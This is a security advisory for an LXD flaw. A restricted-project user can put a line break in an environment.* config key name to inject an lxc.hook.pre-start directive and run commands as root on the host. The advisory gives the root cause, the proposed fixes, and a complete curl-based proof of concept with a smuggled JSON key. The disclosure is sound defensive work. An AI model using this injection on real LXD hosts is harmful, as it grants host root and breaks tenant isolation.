# GHSA-H48H-P7XX-X84P: Restricted project bypass: LXC config injection through environment. key names leads to host root command execution

- Database: GitHub
- Severity: CVSS 9.9 (Critical)
- Published: 2026-11-26
- Modified: 2026-11-26

## Tracked as

- [CVE-2026-136974](https://cve.now/CVE-2026-136974.md): Canonical LXD root code execution via config injection in liblxc

## Affected versions

- github.com/canonical/lxd (Go): from 4.0

## Description

### Summary

A client restricted to a restricted project can run arbitrary commands as root on the LXD host. The client creates a container whose config contains an `environment.*` key with a line break in the **key name**.

For each `environment.<NAME>` key, LXD writes `lxc.environment = <NAME>=<value>`, via `lxcSetConfigItem`, into the container's `lxc.conf`. That file is later re-parsed line by line by `forkstart`. The value of these keys is checked for line breaks; this check is the LXD port of the Incus fix for CVE-2026-23953 (GHSA-x6jc-phwx-hp32). The key name is not checked. A line break in the name therefore ends the `lxc.environment` directive, and the next line is parsed as a new LXC directive, for example `lxc.hook.pre-start`. liblxc runs that hook as root in the host namespace when the container starts.

This bypasses `restricted.containers.lowlevel=block` (the default for restricted projects), which exists to block `raw.lxc`.

This is another incomplete-fix variant of the same sink as CVE-2026-23953 and GHSA-vfh7-q59q-54v2 (`nvidia.driver.capabilities`).

**Affected versions (reproduced)** on fresh Ubuntu 24.04 VMs with the snap, all channels tested:

| Channel | Version | Result |
|---|---|---|
| `5.21/stable` | 5.21.9-2313ff2 | host root command executed |
| `6/stable`, `latest/stable` | 6.10.1-f5c750d | host root command executed |
| `latest/candidate` | 6.10.1-f5c750d | host root command executed |
| `latest/edge` | git-63579a9 | host root command executed |

On `latest/edge`, the value of `linux.sysctl.*` keys can also be used. That value is validated with `validate.IsAny`, and `linux.sysctl.*` is allowed in restricted projects. With 5.21.9 and 6.10.1 the sysctl variant was rejected when LXD set the config item, so it is not exploitable there; only the key-name variant is.

### Details

### Root cause

- `lxd/instance/instancetype/instance.go` (`ConfigKeyChecker`): for `environment.*`, only the **value** is checked for `\n`. Nothing validates the part of the key after `environment.`.
- `lxd/instance/drivers/driver_lxc.go` (around line 986): `lxcSetConfigItem(cc, "lxc.environment", environmentKey+"="+v)`. The key name is concatenated unescaped.
- `lxcSetConfigItem` (driver_lxc.go:79) passes key and value to liblxc without rejecting line breaks. `SaveConfigFile` writes them verbatim, and `forkstart` loads the file again with `LoadConfigFile`.
- `lxd/project/limits/permissions.go` (`isContainerLowLevelOptionForbidden`): `environment.*` and `linux.sysctl.*` are not low-level keys, so restricted projects accept them.

### Proposed fix

1. Reject `\r` and `\n` in both key and value inside `lxcSetConfigItem`, so that no future config key can reach the line-based `lxc.conf` with a line break. This closes the whole class rather than one key at a time.
2. Optional, as defence in depth: validate `environment.*` key names in `ConfigKeyChecker`, at least rejecting control characters. A strict POSIX name pattern could break users with unusual variable names.
3. Also reject line breaks in `linux.sysctl.*` values, which currently use `validate.IsAny`. `limits.kernel.*` follows the same pattern but was not tested.

### Relation to Incus GHSA-3wxw-5gh2-j2x2

That Incus advisory (2026-10-29) mentions key-name line breaks in general terms, and its fix is the generic check in `lxcSetConfigItem`. LXD main @ 63579a9 has no equivalent check, and LXD has no OCI code paths (3wxw's main vector). I am therefore reporting the LXD-specific `environment.*` key-name vector and the `linux.sysctl.*` vector, with a working restricted-project PoC.

### Proof of concept

```sh
# admin
snap install lxd && lxd init --auto && lxc config set core.https_address 127.0.0.1:8443
lxc project create p1 -c restricted=true -c features.images=true -c features.profiles=true
lxc profile device add default root disk path=/ pool=default --project p1
openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:secp384r1 -nodes -days 1 -subj /CN=tenant -keyout c.key -out c.crt
lxc config trust add c.crt --restricted --projects p1

# restricted client (no admin help needed: it imports its own image)
API=https://127.0.0.1:8443/1.0; C() { curl -sk --cert c.crt --key c.key "$@"; }
mkdir -p img/rootfs/bin img/rootfs/sbin && cp /bin/busybox img/rootfs/bin/ && ln -s /bin/busybox img/rootfs/sbin/init
printf 'architecture: x86_64\ncreation_date: 1\nproperties: {os: busybox}\n' > img/metadata.yaml
tar --numeric-owner -czf img.tar.gz -C img metadata.yaml rootfs
C -X POST -H 'Content-Type: application/octet-stream' --data-binary @img.tar.gz "$API/images?project=p1"
                                                # wait for the operation; <FP> = resulting fingerprint
C "$API/instances?project=default"            # 403 Certificate is restricted
C -X POST -H 'Content-Type: application/json' "$API/instances?project=p1" \
  -d '{"name":"ctl","type":"container","source":{"type":"none"},"config":{"raw.lxc":"lxc.hook.pre-start = id"}}'
                                                # refused: Use of low-level config "raw.lxc"
C -X POST -H 'Content-Type: application/json' "$API/instances?project=p1" -d '{
  "name":"c1","type":"container","source":{"type":"image","fingerprint":"<FP>"},
  "config":{"environment.A=1\nlxc.hook.pre-start = /bin/sh -c \"id; uname -n\" >/var/snap/lxd/common/PROOF\nlxc.environment = B":"v"}}'
C -X PUT -H 'Content-Type: application/json' -d '{"action":"start"}' "$API/instances/c1/state?project=p1"

# host
cat /var/snap/lxd/common/PROOF      # uid=0(root) gid=0(root) groups=0(root) + host hostname
```

The generated `/var/snap/lxd/common/lxd/logs/p1_c1/lxc.conf` contains:

```
lxc.environment = A=1
lxc.hook.pre-start = /bin/sh -c "id; uname -n" >/var/snap/lxd/common/PROOF
lxc.environment = B=v
```

Control: the same payload in the **value** of `environment.FOO` is rejected with "Environment variables cannot contain line breaks".

### Impact

A user confined to a restricted project can run arbitrary commands as root on the LXD host, with no low-level options and no extra project settings. Root on the host implies access to other projects' instances, although that was not separately demonstrated.

Demonstrated path: a client allowed to create instances in the project uses `POST /1.0/instances`, then starts the container. The same keys should also be reachable through `PUT`/`PATCH /1.0/instances/<name>` on an existing container; that was not tested.

Suggested severity: Critical, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9). Please feel free to adjust the severity.

---
This report was prepared with the assistance of an AI tool (Claude). I (the reporter) reviewed this report and the PoC myself before submitting.

## References

- https://github.com/canonical/lxd/security/advisories/GHSA-h48h-p7xx-x84p

Page: https://cve.now/GHSA-H48H-P7XX-X84P

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
